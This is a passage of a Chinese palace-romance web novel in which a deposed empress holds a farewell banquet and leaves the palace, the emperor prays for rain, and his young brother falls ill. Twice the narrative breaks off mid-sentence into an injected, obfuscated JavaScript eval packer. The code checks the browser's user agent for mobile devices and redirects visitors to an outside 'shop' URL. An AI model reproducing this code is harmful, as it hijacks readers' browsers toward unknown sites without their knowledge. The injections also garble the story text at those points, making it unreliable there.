“嗐,您这说的是哪里话,别说是青灯古佛,就是刀山火海,我都陪着您一块跳。” “是啊婉娘,只要咱们在一起,还有什么难过的呢。”纪瑶拉着她的手,莞尔一笑,“咱们两个姑娘家,有手有脚的,我就不信还过不好日子了。” 这样一说开,两人都相对笑了。 正说着,外头忽起了人声。纪瑶偏头往外看去,见领头的是乾清宫的内侍,手中托着一卷明黄色的圣旨。 “该来的,总归是会来的。” 纪瑶同徐婉一同站起身,互相扶持着,从容向外走去。 无论是怎样的结局,此刻她心中唯有一片坦然。 * 夏绫守在永宁宫门口,等宣旨的内监离开后,才连忙进去找纪瑶。 进了殿,便见纪瑶坐在她常坐的那扇花窗下,手中握着那卷明黄色的卷轴,愣愣的在发呆。 “瑶瑶。”夏绫轻轻唤了纪瑶一声。 她并不知这一纸诏书中究竟都写了些什么,生怕纪瑶听过之后,心中会不舒服。 “绫儿。”纪瑶抬起头来,眼神中竟有些迷茫,“他,竟然肯放我回南京吗?” 夏绫亦是没有料到,从纪瑶手中接过那卷旨意,展开来自己看。 果然,前头写的都是些废立皇后的苛责之言,读起来颇为拗口,一看便是出自礼部的手笔。及至看到最后,帝王玺印压着的白纸黑字明白写到,褫夺封号,退居陪京。 大燕建国之初,国都本是定于南京的。自文皇迁都北京后,南北二京并立,南京只作为陪都。 但南京仍保留有一套完整的宫城,先头宁澈以谒孝陵的名义去南京巡察时,便就直接住在南京皇宫中。 此番让纪瑶去南京,看似是贬斥,但实则就是放她回了故乡。等再过几年,中宫有了新主,谁还会记得一个在南京的废后呢? 往后的日子如何过,是纪瑶自己说了算的。 “瑶瑶,”夏绫不由有些哽咽,既是为纪瑶能重回故乡而高兴,也是为她这些年受的苦而心疼,“他这是不想让你,带着恨意离开宫廷。你们在上一辈人留下的错误中都挣扎太久了,就让所有的恨意,都终结在这里吧。” 纪瑶抬头环顾了片晌禁锢了她几千个日夜的宫城,心中所感,也非只言片语便能道清。 “绫儿,你说的对,我也该同自己有个交代。”她起身握住夏绫的手,“离宫之前,我会去向陛下当面辞别。但这之前,我还想拜托你帮我一件事。” * 春日宴,绿酒一杯歌一遍。 当方苒和汤圆来到永宁宫时,二人还尚不明白,夏绫为什么会让她们到这里来。 夏绫见客都到了,笑吟吟的从殿内迎出来,一边挽上一个说:“苒苒,小汤,来里面请。” 方苒却没她这样轻松,拉住夏绫低声问道:“绫儿,你喊我们来这,是要做什么?” 夏绫只管拉着她们往殿内走:“我呢,是受人之托。这不春天到了,摆场小宴,走吧。” 进了殿,夏绫便唤道:“瑶瑶快出来,人来啦!” 纪瑶匆匆从东稍间跑来,身上系着围裙,手上还沾着面粉。 她今日未如往常一般挽做妇人髻,而是只编了条辫子,温柔的垂在身前,简直像个还未出阁的姑娘。 夏绫对她介绍二人道:“这位是方苒,你认识的,现在是方女史了。这位是汤圆,平时我都叫她小汤,是谭少监的妹子。” 纪瑶有些腼腆的浅笑道:“方姑娘,小汤姑娘。” 方苒有些不知所措,仍是领着小汤福了福身道:“娘娘。” 纪瑶忙将二人扶起:“请不要这样,我现在已经不是皇后了。” 她看了看夏绫,从对方的眼神中获取了些鼓励:“我知道,你们都是绫儿的好友,就同她一样,叫我瑶瑶便好。” 方苒与小汤面面相觑,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306481|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道该说些什么。 因不善言辞,纪瑶的双颊有些微红。她在围裙上擦了擦手,诚恳道:“我知道,之前因为我的事,或多或少都给你们造成了些麻烦。我或许很快就要离宫了,想借着这场小宴,同你们表达我的歉意,希望两位姑娘不要嫌弃。” 听到此时,方苒和小汤才明白,今日在永宁宫,原来她二人真的是座上宾。 夏绫见几人都干站着,忙打圆场让她们都入座。 圆桌边早已摆好了五张凳子,方苒倒是还算从容,被纪瑶让着,坐在了一起。可小汤却扭扭捏捏的,即便纪瑶已是废后,但她身上仍带着股大家小姐的贵气,让小汤怎么也不敢放开拘束,是被夏绫摁着,最后才一同坐在了桌边。 纪瑶温和道:“别的我不敢自夸,可唯独喜欢钻研几页食谱。所以今天这些菜,都是我亲手准备的,也不知道合不合你们口味,但只是我的一点心意。” 说着她回身朝稍间看了看:“婉娘在帮我打下手,我去看看菜都好了没。” 夏绫手快的拍了她一下,冲纪瑶眨了眨眼:“我去吧,你们在这说说话。” 纪瑶准备了许多菜,有文思豆腐,油焖笋尖,芦笋虾仁,酒酿圆子,红豆青团等等,都是些温和清淡的春日小菜,足见她的用心。 夏绫帮着徐婉将菜都端出来时,便见到桌边的几个女孩已聊的渐为熟识了。 方苒同纪瑶说:“瑶瑶姑娘,我小的时候在家中不受待见,后来家里倒了,更是受过许多辛苦。可我却觉得,这个世道越是对咱们不公,咱们自己越是要活出个样子来,证明不开眼的是苍天。所以我也想与你共勉,希望你今后会以你自己的方式度过余生。” 纪瑶也有所感触:“从前我是懦弱了些,也为此走了许多弯路。可今后,我会带着爱我之人的希冀,努力活下去的。方姑娘,也谢谢你愿意同我分享你的曾经。” 夏绫浅笑了笑,将菜品都摆上了桌,又拿来两壶酒,给每人杯子里都满上。 纪瑶拉了拉徐婉:“婉娘,你一起来坐在这里。” 徐婉受宠若惊,连连摆手道:“别,别,都是姑娘您的贵客,奴婢哪能……” “徐婉姐,你就坐下吧。”夏绫直接把徐婉拉到了座位上,“今天,没有皇后,没有宫女,没有主子,也没有奴婢。只有,嗯,女子间的宴会。” 待人都落了座,纪瑶先举起酒杯:“我知道,方姑娘和小汤姑娘,因为我的事吃了许多苦头,这远不是我一句道歉就可以抹平的。” 方苒说:“瑶瑶姑娘,已经过去的事,就莫要再提了。” 纪瑶和善的笑笑,神色中有释然,却也有哽咽。她看向夏绫:“我嘴有些笨,也不太善于说话,要不绫儿,你帮我说两句?” 夏绫想了想,开口道:“其实今日这场小宴,瑶瑶本可以不准备,毕竟日后大家天南海北,各自有路,谁也不会再妨碍谁。但她还是托我让大家聚在一起,就是希望在将来某一日回忆起曾经的这个人时,不要是满腹的怨怼与憎恨。” “不过我想说的是,我们曾经都走过一段很辛苦的路,但这并不能归咎于某个人就是造成这一切的‘恶人’。我私以为,在座各位都是很好很好的女孩子,正因如此,我们才不该在世人对女子的苛责中互相惩罚。错的是这个世道,而不是我们。若心中常怀憎恶,便是落入了统治这个世道规则的人对女子的规训中,让女孩子们互相残杀。我们身负的伤痕,应当是保护我们本心的铠甲,而不能成为攻讦他人的工具。” 话音落下,众人皆默。 片晌后,五只酒杯碰在一起,大家都没有过多的言语,只是将杯中酒一饮而尽。 杯酒入肠,心绪如浪。翻涌的不是顾影自怜的惆怅,而是身为女子向阳而生的自强。 109. 前路何方 在离宫的前一日,纪瑶去了乾清宫,同宁澈辞别。 宁澈听到消息,放下手中尚未批完的票拟,让内侍去请人进来。 他从抽屉里拿出一个信封,而后起身,负手向书房外走去。 在明殿与御书房间的中厅里,他遇见了正往里走来时纪瑶。 纪瑶手中提着一只檀木食盒,她并未着宫装,而是穿了一身素净的袄裙,看起来与宫外寻常人家的女儿无异。 见了宁澈,纪瑶本想如往常一样行君臣礼,却被虚扶了一把,听他道:“不用,今日只当你我都是普通人,没这么多拘束。” 说罢,宁澈比了个请的手势,同纪瑶一起往东暖阁走去。 日光正好。 两人各自坐于罗汉榻两侧,虽然仍都有些拘谨,可没了那一重夫妻关系的束缚,倒是都少了层隔阂。 纪瑶将食盒放在两人中间的小几上,先开口道:“这是我自己做的一些糕点,都是南方的式样,在京城不太容易见到的。这也不是什么值钱的东西,你只当尝个新鲜,毕竟这些年……我也没有真正为你做过什么。” 宁澈略有些诧异,成婚这些年,他竟不知纪瑶还有这样的手艺。不过似乎又是在情理之中的,毕竟他从未尝试过去了解纪瑶是个什么样的人,纪瑶同样,也未曾真正认识过他。 “谢谢,我会认真品尝的。” 两人各自默了片刻,宁澈也想不出什么话语能寒暄,于是将拿在手里的那笺信封放在小几上,推到了纪瑶的那一边。 “这是?” 宁澈答:“我也没什么能还礼的。这或许也算不上一样礼,但我觉得你应该会想要。” 纪瑶打开信封,见里面是一张去往陕西行司的路引,上面已加好了官印。 见纪瑶的神色有些许不解,宁澈解释道:“高云瞻安葬的地方在那里。你回了南京,头两年或许行动还不能自由,但等这段风头过去,我找个由头遮掩一番,之后你便去你自己想去的地方吧。我现在能想到的就这么多,若你之后再遇到什么难处,可以通过南京守备太监告诉我。” 纪瑶抬头切切看向宁澈,目光流转:“你当真,愿意放我到如此地步?” 宁澈颔首说:“我只是想尽量让事情恢复到从前的样子吧。你我本该有各自不同的人生,但一个又一个的错误,把你与我不得不绑在这里。我这样做,也是想给自己一个交代,我并不是个十恶不赦的人,希望日后也不要真的做成孤家寡人。” 纪瑶双手交叠搭在膝上,闻言不自觉的将裙摆攥的满是褶皱。当日在雨中,她刺宁澈的那几句话,他是真的往心里去了。 她恨过宁澈,可自己也真真切切被这座宫廷伤害过。她失去了父亲,失信于爱侣,这些都是此生无法弥补的遗憾。当恨意无从解脱时,她曾把这些账全都算在了宁澈的头上。 可事到如今,纪瑶只是有些怜悯自己,也有些怜悯宁澈。如果没有之前那些纠葛,其实对方也还是个不错的人。 “那这样对我,会让你难做吗?” 宁澈淡淡摇头:“我即便再难做,也不会比你们这些姑娘家更难。你只管放心离开便好,之后的事情,我会料理干净的。” 纪瑶嗯声,对宁澈略致了一礼道:“多谢。那我便告辞了。” 宁澈同站起身来:“无需言谢。” 他送纪瑶到乾清宫的门口。 “明日我还有事,你离宫的时候,我便不去送了。”宁澈想了想,又道,“废后的那封诏书,上面的话可能没有很中听。不过那些都是礼部拟的套话,不是真的在指责你,不要往心里去。” “没有的。”纪瑶低头站在宁澈面前,在踏出乾清宫前,还是鼓起勇气说道,“皇上,希望你的下一位皇后,是一位你真心爱护,她也真心爱你的人。” 宁澈怔愣了一下,他的脑海中瞬间便浮现出了一个人的身影。 “你的这句祝福,我收下了。”宁澈终是露出一丝浅笑,“我也很希望,这个愿望能够成真。” 纪瑶莞尔:“那我走了?” “告辞,前路顺遂。” 纪瑶迈过乾清宫的门槛,明媚的阳光落在她脸上,风中混着花的清香。 她决定不再恨这个地方了。只不过自己还需要些时间,等心中的那些伤口慢慢愈合。 纪瑶提起裙摆,走下大殿前的石阶,微风吹面不寒,浮动着她的衣衫和裙摆,她竟觉得,脚下的步伐越发轻盈。 宁澈仍负手立于石阶的最高处,目送那抹身影渐行渐远,记忆深处的某个地方,忽而于眼前的一幕有了一瞬的重合。 那是他第一次被张寅带入宫中的时候。 他想家想的要命,等了一晚上,终于等到了娘亲来到了这间偌大的宫殿中。 他本以为,傅薇是来接他回家的,可是躲在屏风背后,却听见了母亲说,她对自己已仁至义尽,再不欠什么了。 尚不及十岁的小阿澈,黯然失色的站在门里,可娘亲离去的背影,竟是他从未见过的轻松。 十多年前埋下的那柄利刃,在今日,再一次击中了宁澈。 离开这个地方,真的会让人这么开心吗。 * 纪瑶离开皇宫的这天,只有夏绫送她。 她的行李很少,毕竟在宫廷中这么多年,也没有什么真正属于过她。纪瑶完完整整带走的,不过只有高云瞻的那几十封信而已。 夏绫挽着纪瑶的手臂,和徐婉一起往宫门走去。 在将要踏过顺贞门时,纪瑶却不由自主的顿住了脚步。 “怎么了瑶瑶?” 纪瑶抬头望着牌匾上那几个烫金的大字,摇摇头道:“无事。只是觉得,有些太不真实了。” 这道曾经如天堑般阻挡着她的宫门,今日竟可以轻而易举的跨过。顺从与忠贞,将不再是她今后需要恪守的信条。 夏绫浅浅笑道:“我倒是觉得有些恍惚。之前,是你在这里送我离宫,而世事轮转,今日已变成我送你了。” 五年前,景熙皇帝初即大位,因为封妃的之事,夏绫同宁澈闹得分崩离析。 离开皇城去行宫时,便是纪瑶送夏绫到这里。 彼时的纪瑶初为皇后,紧紧握住夏绫的手,恳求到,绫儿,你能不能不要走,我害怕。 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321349|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今回头向前看去,纪瑶最害怕的事,一件接一件,全部都没有放过她。当再一次站在这里时,不免让人唏嘘,这世上再没有什么能让她惧怕,因为那些苦难,早已变成她身上无法淡化的伤疤。 纪瑶捏了捏夏绫的手臂:“走吧。” 前方,元武门。 出了元武门,便是真真正正踏出紫禁城了。 虽还未过筒子河,但万岁山前大市的烟火气,已然波及到了这里。 在元武门外,停着一辆不甚华丽的马车。车夫有两人,皆着布衣戴斗笠,看起来只是普通杂役。 但夏绫知道,那两人其实是乔装的锦衣卫,此番会护送纪瑶与徐婉一路抵达南京。 多情自古伤离别。 真的到了分别的这一刻,夏绫和纪瑶双双都红了眼眶。 十四岁初见,这是她们相识的第十个年头。在宫中不如意的那些日子里,她们是照亮彼此前路的微光。岁岁年年走过,两个女孩早已将对方当做了没有血缘的亲人。 夏绫张开怀抱,声音难以抑制的哽咽:“瑶瑶,再抱一下吧。” 纪瑶没有犹豫,紧紧同夏绫拥抱在了一起。 “绫儿,之后要好好的,一定要好好的。” “你也是,你也是。” 夏绫在纪瑶背上轻拍了拍,同她说:“瑶瑶,我还有一样东西想送给你。” 夏绫在自己的衣袖了摸了摸,拿出了一枚荷包。她将封口打开,把里面的东西倒在了手心里。 抬手向下一掸,一根红绳上系着的一枚小金坠子落在了纪瑶面前。 那是一枚金瓜子。 纪瑶眉心动了动:“这是……” “第一次见面时,你赏我的。”夏绫眼中含着泪光,嘴角却是笑着的。 纪瑶爱惜的将吊坠接过,佯作嗔怪道:“真傻。都给你了,怎么不花掉?” “正是因为我没花掉,今天才更觉得它贵重。” 夏绫解开自己的领口,从颈间也掏出一枚同样的金瓜子,她今日是贴身戴着的。 那年在慈宁宫,夏绫用一碗药换了纪瑶两粒金瓜子的赏赐,没想到却成了两人友情的起点。 这两颗金子夏绫一直留着,在知道纪瑶要回南京后,便找了金匠打成了这两枚吊坠。 今日送别,各自珍藏。路途虽远,情谊不断。 夏绫推了推纪瑶,见她眼睛又要红,仍是和从前一样,是个瓷做的人儿。 “好了,上车吧。” 离别的话道不尽,终有曲终人散时。 纪瑶上了马车,车夫扬鞭一喝,车轮滚滚向前。 夏绫只身站在宫城高耸的门楼下,挥手作别。直到马车远成了一个模糊的小点,过了转角再也看不见的时候,她才迟迟将手放下。 心里空落落的。 夏绫抬头望向对面的万岁山顶,天色湛蓝,树影苍翠。 她独自在宫门前站了一会,才转身往宫墙内走去。 身边的人,一个一个都有了归宿,可她却尚不知道自己的前路通向何方。 或许,也终于走到该给自己一个结果的时候了。 110. 斋戒祈雨 京城春天素来易起风沙,在景熙五年的三月,沙尘尤甚。 整个三月下旬,天空都是一种浑浊的昏黄色,在外面走上一会,灰头土脸,满面尘埃。 自景熙四年冬月至今,工部反反复复推演的战船图纸终于定稿。皇帝阅后,当即下令将图纸发送至南京龙江、福建泉州、广东江门三大船厂勘造样船。 样船试水后,将走海路北上入京,由工部会同兵部勘验,敲定最佳方案后,便正式开动建造可装配火炮的成船。 此举无异于向天下昭示了景熙皇帝坚壁海防的决心。 而与此同时,河南隐隐有干旱之势。 从去岁冬麦播种后,河南道全境至今未降一丝甘霖。现下正值小麦返青之时,若再不降雨,恐一地青苗未穗而枯,颗粒无收。 河南道自来为产粮大省,粮草缺则兵马竭,无那一捧粮食,从何谈海防构建。 天意难测,百姓之苦无从消解,民间便滋生起了流言,说是中宫缺位,君德有失,才导致天降异象,惩戒世人。 宁澈看到奏报时,虽内心不忿,但也属实无奈。老百姓眼见着要没了活路,还不能让人家抱怨两句了。即便他堵的了一个人的嘴,也堵不住天下人的悠悠之口。 于是在四月之初,景熙皇帝颁下诏书,他将亲赴天坛祈雨,以慰上天之德。 这样声势浩大的祭典,夏绫在宫中多年,也是头一遭见到。 祭祀大典前三日,皇帝至武英殿斋戒。 祭礼前一日,皇帝焚香沐浴后,在奉先殿告示祖先,将自己的名字填于祝板之上,由太常寺卿放至南郊神库奉安。 四月初六,正祭。 是日一早,景熙皇帝着青服至皇极门,文武百官着青素服乌角带恭候于大燕门外,文官列东,武官列西,相对而立,随皇帝一道步行前往天坛祈雨。 如此国之大典夏绫无法靠近,只能远远看着宁澈在旌旗华盖的簇拥下行出了午门。宁澈头戴乌纱翼善冠,身着青色无纹圆领袍,深色的衣着将他本就颀长的身形拔的更高挑了些,如旷野雪地中的一株朗朗青松。 祭天大典一直持续到午后未时末。结束后,宁澈坚决不肯乘辇返回紫禁城,为表诚心,复从天坛又步行回午门。待百官叫散后,他方才入了宫门。 回到乾清宫时,天色已经开始转暗了。 夏绫早已在这里等他回来,听见声音,赶忙迎出门去,见宁澈面色尚可,只是翼善冠压着的那一圈发鬓,已经被汗水洇透了。 待入了日常起居的暖阁,宁澈方显露出疲态来。近前的内侍连忙来伺候他宽衣,宁澈脱的只剩一件白衬在身上,没有力气再换上燕居服,穿着靴子直接仰面躺倒在软榻上。 “都出去。”宁澈遣走了想为他脱鞋的内侍,没有让他碰自己。 躺着缓了一会后,宁澈才疲惫的复坐起身来,将脚腕搭在另一侧膝盖上,单手握住鞋底,一点点缓慢的将靴子脱了下来。 只见在脚内侧靠拇指处,素白的绸袜已被混着黄脓的血水染湿了一大片,显然是磨破了皮。 “这!”夏绫倒吸了口凉气,这样的伤法,虽不是在自己身上,可是她已然能感觉到有多疼了。 宁澈皱了皱眉,虽然他知道自己脚上肯定是破了皮的,但真当看到这伤处时,还是有些下不去手。沉了片刻后,他趁着伤处还没干涸到将衣料和皮肉粘在一起,一咬牙将袜子脱了下来。 果然,那处的皮肉差不多已经磨烂了。 夏绫看的浑身发冷:“什么时候破的?” 宁澈答:“去的路上就觉得这鞋不太得劲了。” 从紫禁城到天坛,一来一回少说也得有二十里地,也就是说,宁澈忍着这磨破了皮的脚,堪堪走了十多里路,还不能让人给看出来。 “你傻啊,脚都磨成这样了还不坐辇回来?” 宁澈不以为意的嗐了一声:“去都去了,那还不把全套做足了,显得我心诚。” “都说上天有好生之德,怎么非得越让人受苦反而才越显得心诚了呢。”夏绫抱怨了一句,复说,“我给你请太医去。” “哎乔乔,别去。”宁澈喊住她,看向自己旁边,“坐这,跟我说会话。” 夏绫瞪他:“有什么话你非得这会说?” 宁澈摇了摇头:“我现在不想宣太医。本来祈雨这事就是为了把样子做足了,要是转头就请了太医来,就显得太造作了。” 夏绫有点赌气的看了他一眼。 宁澈倒很随意,将裤腿挽起来一半,蜷起腿,伤了的那只脚光着踩在软垫上,一点也不像皇帝,反而多了丝痞气。 夏绫拿了件薄披风给他披在肩上,才一块坐在了软榻的另一侧。 “阿澈,你当真相信,天不降雨,是君王德行有失吗?” “我当然不信。”宁澈说的坦然,“在这世上,只要不是药到病除的事情,那只有一个原因,便是药不对症。就如世人常说恶有恶报,也并非所有作恶之人都会直接被雷劈死,逍遥法外之人大有人在。倘若君王德行有失就会天降灾象,我看倭国那些幕府大名啥的也都不咋地,怎么到现在也没看见倭国沉了?” “不过呢,这种鬼神之事,宁可信其有,不可信其无。我信不信其实不重要,重要的是百官信,百姓信,我这样做了,会让他们觉得踏实。当然了,我也真心希望上天真的能听到我的祝祷,快些下雨,毕竟若真的出了旱灾,苦的都是老百姓,朝廷也好过不到哪去。” 夏绫垂下眼,忽问:“阿澈,你什么时候会有新娘娘?” 宁澈单眉微挑:“你问这做什么?” 夏绫道:“虽然我也不信那些鬼神之说,可有一点我觉得他们说的没有错,中宫之位毕竟是国本大计,不能老是空着。我怕太多人以此为借口攻讦你,反而耽搁了朝政。” 夏绫是有心事。 自纪瑶离宫后,她心中的担忧便累日尤甚。宁澈丝毫没有遴选新皇后意思,这让她隐隐有些害怕,宁澈是因为自己才故意这样拖着无所作为。 如果真的是这样,那她必须立刻离宫。惑乱君上的罪名,她一个孤女担不起。 宁澈怎么会不知道夏绫心里装着怎样的心思。平心而论,立后这件事不能说没有夏绫的原因,但的确也不是全都因为夏绫。 想了想,他说:“其实前两天,我找钦天监卜了一卦。” 夏绫抬眸:“怎么说?” “无非就还是那些话,天象有异,是因中宫位缺,要我早立皇后。” 夏绫忧虑的神色已掩饰不住。 可宁澈又说:“但我总觉得,监正并没有对我说实话。” “何以见得?” “我问的是海防,但他答的却是中宫。”宁澈习惯性的捻着三指,“我相信天象有异之事不假,毕竟众人都有眼睛看,谁也不瞎。可关键在于,如何解读这天象。陆元齐过于避重就轻,只言海防之事无恙,却急于将话题引到天象上来,不得不让我起疑,他是得了什么人的授意,别有居心。再进一步,民间所传君德有失的流言,或许也并不是空穴来风。” 陆元齐,便是钦天监监正的名字。 夏绫听他继续说道:“自古以来,后位、储位有异,皆是动荡朝堂的大事,但究其根本,未必是因为在那位置上的人有多卓越,而是因为,后位储位的每一次变 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夏绫深感事态之复杂,心绪仍难解:“可是阿澈,你不能老这样拖着啊。你越拖,不就越给他们相互争逐的时间吗?” “乔乔,我并不是姬宫湦那种要美人不要江山的君主。这皇后……我是一定会立的。”宁澈已然坦诚相待,“只不过,我想给自己一点时间,最晚等到明年春天。毕竟在上一段婚姻中,我与先皇后都走了许多弯路。我需要用这段时间好好想一想,我究竟该作何抉择,之后的路又想要如何走。” “嗯。” “但是乔乔,我也很想请你在这段时日,重新审视一番,你我之间是否可以再进一步。”宁澈抬眼看向夏绫,目光诚恳但不贪婪,“你别误会,我没有想逼你的意思,我只是觉得,我们不能不明不白的就走到尽头了,成或不成,都得给自己一个完整的交代。” 夏绫点了点头。宁澈倒是有这点好,什么话都会同她说开,不会让她去猜。 “好,我会认真想一想的。” 两人心中各自风起澜动,但又都心照不宣的没有表露出来。 宁澈动了动自己的伤脚,仍是疼得厉害。他问夏绫:“乔乔,你那有什么伤药吗?我想给自己上点。” 夏绫想到,宁澈上回手受伤时,还剩了小半瓶金疮药没用完,她便收到了自己房间。 “你稍等一会,我去拿。” 夏绫回来的时候,手里不止拿了一瓶金疮药,还有一双软底鞋。 她蹲在地上,将鞋子后帮压下去,放在宁澈跟前,以便他能直接趿进去。 宁澈诧异:“这鞋是哪来的?” 夏绫道:“闲着没事随便做了一双。你不见人的时候就先穿这个吧,脚上舒坦些。” 这双鞋是夏绫在浣衣局照顾秋鹤时做的。 那时小汤无事时总是在给谭小澄纳鞋底,做工十分精细,让夏绫啧啧称奇。到底是在针工局当过值的,夏绫手一痒,便跟着小汤也学做了一双。 但这鞋并非帝王皂靴的样式,宁澈也不缺这样一双鞋。回宫后夏绫没太好意思送出去,任由它在角落里吃灰,没想到今日倒真派上用场了。 “对了,我还有一件事。”夏绫蹲在地上道,“今日景仁宫有人过来了,说是小王爷这两天有些不太舒服。” 宁澈神情一下子凝重起来:“怎么个不舒服法?” “说是胸闷,气短,有时候觉得喘不上气来。” 宁澈一听,当即脸色微变,直接趿鞋下了榻,跛着脚就要往外走。 “我不放心,得过去看看。”宁澈一脚深一脚浅的踩在地上,“这孩子有两年多没发过病了,我怕他再喘起来。” 111. 突发喘疾 宁澈在景仁宫外下了步辇,趿着半截的鞋子,一瘸一拐的往殿内走去。 景仁宫当值的宫人没想到皇上会在这个时候来,接驾时显得有些手忙脚乱。 宁澈径自去了宁潇的寝阁,见太医院院使也在。宁潇倚在床头上,抱着药碗方捏鼻子给自己灌下去,苦的双眼微红,脸色不很好看。 “三哥儿。”宁澈几乎忘了伤处的疼痛,快步走过去坐到床边,从近旁内侍端着的瓷盘中拿出一枚蜜饯喂进宁潇嘴里。 宁潇得了甜,眉头才稍微舒展了一些。 他气息有些不齐,喘了两下之后,小声喊了声:“哥。” 宁澈摸了摸孩子的额头,心疼道:“哪里觉得不舒服吗?” 宁潇揉了好几下眼睛,才说:“我喘不上气来。” 那语调里带着哭腔,就像坠入水中的幼雏,又难受,又无助。 宁澈知道这孩子现在肯定是很不舒服。他看向太医问:“怎么样?” 院使跪禀道:“陛下,春日风中本就多杂尘,是哮症的易发期,今年春日尤甚。臣已请成王殿下服下了定喘汤,是宣肺降气,祛痰平喘的,或可缓解一二。” 宁澈脸上有些阴沉,他想问院使,是否有再发急症的可能,但当着宁潇,怕孩子会多想,于是挥了挥手让院使先退下。 宁潇一直在揉眼睛,他觉得有些痒。 待太医退出去,宁潇拉了拉宁澈的衣袖,红着眼睛问:“哥,我是不是又要生病了?” 宁潇天生是一副敞亮性子,很会哄着自己开心。可唯独每次发病的时候,是他久久挥之不去的噩梦。 那种压抑,窒息,黑暗从四面八方围困上来的恐惧,就像蛰伏在他身边的一道暗影,不知什么时候就会逃出来扼住他的喉咙。 “不会的,有哥在呢。”宁澈温和的摸了摸宁潇的脸,“三哥儿,这个病呢,就像是个坏人,如果你强壮起来,就可以打跑它。你不要害怕,哥陪着你,一块把它打跑,好不好?” 宁潇深喘了两下,双颊泛起些潮红:“那我可以用我的战船把坏人打跑吗?” 宁澈不禁一笑,还想着他的船呢。 “当然可以,哥明天就让人把船给你送回来。”宁澈认真说道,“不光有你做的船,哥还让人把你的船造成和很大很大的战船,等你的病好了,哥就带你去真正的船上看。” 宁潇原本黯淡的眼睛中现出了光:“真的?” “哥什么时候骗过你。”宁澈将他身后的软枕撤掉,扶着孩子躺下来,“听话,先好好睡觉,睡着了就不难受了。” 宁潇仰面躺在床上,瘦弱的好像一截枯枝,被子盖在身上都看不出他的身形。 他从被子下伸出手拉着宁澈,闷声道:“那等我睡着了你再走。” 宁澈点头说好。 宁潇乖顺的闭上了眼。宁澈吹了灯,又在床边坐了一会,待弟弟的呼吸和缓下来,才轻轻起身离去。 夏绫一直在外间等。见宁澈拢着披风走出来,上前去扶了一把还瘸着的他,用气音问:“还好吗?” 宁澈指了指墙边的圈椅,示意夏绫先坐过去。 “太医呢?” 夏绫低声道:“在外面侯着呢,我去喊他进来。” “先不用。”宁澈对她摆了摆手,“明日让太医去乾清宫回话。” 随侍内侍听到他的意思,出去传话。 夏绫端了一碟点心过来,两人晚上都还没有吃东西。 她这才同宁澈一起坐下,各自拿了一块点心,吃的沉默无声。 宁澈只草草用了一块便作罢。 片晌,他对夏绫轻声说:“乔乔,我想跟你商量个事。” 夏绫点头听他说。 “我想把宁潇送去昌平行宫住一段日子。”他似是有些还没下定决心,“行宫在山上,草木丰茂,较之城里更湿润,也更清新些,或许对三哥儿的身体能更好。” 夏绫知道,宁澈并不是真的同她商量,毕竟那是他的弟弟,自己并不能决定什么。只不过,当一个人不知道想做的事对或不对时,想多寻求一个人的支持罢了。 夏绫想了想说:“行宫的管事内监是个很细致谨慎时人,小王爷若是过去,也定能被照顾的很好。” 宁澈颔首。又欲开口时,却忽闻一细微之声响起:“哥。” 宁澈一惊,见宁潇不知道何时醒了,光着脚从围屏后绕了出来。 “哥,我不想去行宫,我不想一个人待在那里。” 孩子声音里已然带了哽咽。他生病时本来眼睛显得就大,再一含上泪,让人看着心疼。 宁澈解下自己的披风来给孩子裹上:“三哥儿,你怎么醒了?” 宁潇不是醒了,是憋闷的像有块石头压在胸口,难受的根本睡不着。大人们在外头的交谈,声音虽然低,但他还是都听见了。 他抱住宁澈,隐隐抽噎:“哥我求你了,别把我送走,我不想一个人住在行宫。” 见孩子这样,宁澈哪里还能狠得下心来。 他把宁潇搂在怀里轻轻哄着:“三哥儿,那你可要,快点好起来啊。” * 祭天大典后,有三日休朝。 然在第三日过晌,宁澈便宣了内阁辅臣,六部尚书,九卿正官共至御书房,商讨海防大计。 因要面见外臣,他穿了一件稍正式团龙云纹龙袍,可脚上依然趿拉着夏绫给他做的那双软底鞋。 过了这几日,磨破皮的伤处已结了痂,但宁澈仍觉得还是这双鞋最舒服,心想只要他不起来溜达,就没人能发现。 几位阁臣和六部九卿已在殿外候旨。宁澈宣了他们进来,以首辅杨怀简打头,一群穿赭红色官服的老文官依序进殿,远看去就好似一团火烧进殿来。 行过君臣大礼后,宁澈开门见山说道:“浙江,福建,广东几个海防重镇当前仍有官缺,前任者或因丁忧,或因调任,或因年老致仕等,官位空悬未决。这虽是吏部的事,但事关海防大业,还是想找众卿来议上一议。各位爱卿若是有合适的人选,不妨都举荐上来,诸位广开言路,人选定下后,明日早朝便可授官赴职了。” 竟无一人应答。 宁澈眉尾微扬,心生狐疑。以往对于补官推官这种事,阁部大臣都会抢着上,生怕晚了吃不着热乎的。若真有贤才被任用,于公是为朝廷做了贡献,于私是给被举者做了个大人情。两面得利的事,何乐而不为呢。 而今日,是怎么的了? 宁澈审度的目光落在吏部尚书脸上。 “黄尚书,既是你分内之事,不如你先说两句?” 吏部尚书胡须一颤,诺诺拱手作了揖,却悄么声的给礼部尚书递了个眼神。 收到传信,东阁大学士兼礼部尚书卢英出列,对上拱手谏言道:“禀圣上,海防大事固然重要,但臣等以为,再此事之前,还有一件重中之重的国之大计,请陛下圣断。” 宁澈的脸色当即冷了三分,他已大概猜到卢英接下来要说什么。 